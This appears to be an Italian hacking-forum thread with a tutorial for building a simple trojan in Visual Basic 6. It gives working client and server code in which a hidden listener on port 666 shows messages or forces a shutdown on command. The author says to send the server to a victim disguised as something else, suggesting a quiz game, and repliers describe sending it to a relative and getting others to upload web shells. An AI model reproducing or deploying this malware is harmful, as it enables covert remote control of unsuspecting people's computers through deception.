[GUIDA] Creare un Trojan in VB6

[Ketto93]

Non so se la sezione è giusta poichè è hacking ma anche programmazione :S


Comunque ora vi insegno a creare un trojan semplicissimo costituito di server (che terrà la vittima) e client (che terremo noi).


Creare il Client

Creare un nuovo progetto e nella form inserire un Winsock e assicuratevi che nel pannello delle proprietà si chiami winsock1 e nel remoteport mettere "666" e anche su localport.

Ora creare una textbox in cui si inserirà l'ip della vittima e un commandbutton con cui ci si connetterà al server. Cliccare due volte sul commandbutton e inserire il seguente codice:

winsock1.remotehost = text1.text
winsock1.connect

Inserire le funzioni per far funzionare i comandi da dare al server

Inseriremo solo due comandi: il messaggio e lo spegnimento del pc.

Sempre nel client creaimo due commandbutton: uno di nome cmdmessaggio e l'altro cmdspegni.

Clicchiamo due volte su cmdmessaggio e iserire il codice:

winsock1.sendData “Messaggio da visualizzare”

Cliccare due volte su cmdspegni e inserire:

winsock1.sendDAta “spegni”

Fare l'exe e tenere il client nel vostro computer.


Creare il server che terrà la vittima

Creare un nuovo progetto e inserire un winsock. Impostare la proprietà visible su False della form. Poi impostare le proprietà local e remoteport su "666"

Cliccare su uno spazio vuoto della form e inserire il codice:

winsock1.listen

E di seguito inserire:

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub

Sempre di seguito:

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dati As String
Winsock1.GetData dati
Select Case dati
Case “messaggio”
msgbox “Ciao utente!!!”
Case “spegni”
Shell (”shutdown -s -f -t 01″)
End Select
End Sub

E ancora:

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub

Fare l'exe e inviare il server alla vittima facendolo passare per altro.

Fonte: Spud

 

[Pavel91]

by Spud---

 

[Ketto93]

Si mi sono dimenticato xD

 

[Pavel91]

Tranquillo

 

[Abe]

Good, come porta la 666 si dovevano proprio scegliere?

 

[Ketto93]

No, la 666 è una delle porte quasi sempre libere. Puoi anche cambiarle ma devi essere sicuro che la porta che sceglierai non sarà occupata.

PS= La 666 xD Vabbè, puoi cambiarla

 

[loddo]

io tengo la porta 666 mi gusta ce l'ho pure fatto scrivere sui tasti della mia chitarra insieme ad alcuni pentacoli

 

[Dj-march]

si ma dov e ketto winsock dv lo trovo ?

 

[Ketto93]

Clicca con il tasto destro sulla barra degli strumenti. Poi su Components e cerca Microsoft Winsock 6.0. Lo sounti e metti applica.

 

[#Alek]

Grz bella guida

 

[Devil_Sa]

Ketto, l'ho provato con l'altro pc perchè su questo Visual Basic 6 non mi funziona(C'ho Vista qua), ho fatto tutto, E sapendo che mio cugino aveva la porta 666 libera, gliel'ho inviato e mi telefona dicendo "Fabio cos'è sta roba?" E io "Niente ù.ù" xD Grazie :

 

[Ketto93]

Tu gli hai inviato il client o il server?

Il server che devi inviargli devi camuffarlo (inutile dirlo). Magari nel server crea un gioco, come Chi Vuol Essere Milionario!

 

[Devil_Sa]

Ketto, io gli ho inviato tutt'e due perchè sono un tantinello n00b sull'hacking xD Comunque, sul camuffarlo fino a lì ci arrivavo dato che mi ricordo che lo facevo con le c99 quando le facevo uppare da altri sui loro siti web xD Comunque grazie^^

 

[Ketto93]

Prego. Più in là ne posterò uno.

 

[Ignazio96]

:O Utile grazie adesso mi sfogo xD!!!

 

[Ketto93]

Ecco un esempio del trojan:

Perfavore, Entra oppure Registrati per vedere i Link!

Nel server ho inserito il famoso gioco del 7 e Mezzo preso dal sito di Piero Tofy.

 

[shinil35]

ragazzi ok tutto ok ma dove prendo visual basic per vista??? Non riesco ad installarlo! Datemi una mano pls

 

[Ketto93]

Prova il vb6 portable. Quello è compatibile con Windows Vista

 

[InfernoHacker]

Grazie ketto :P

Cavolo la 666 xD io provo cn la 777 xD ( ske ù.ù )

Buona guida

 

[Dadigno]

Buona guida..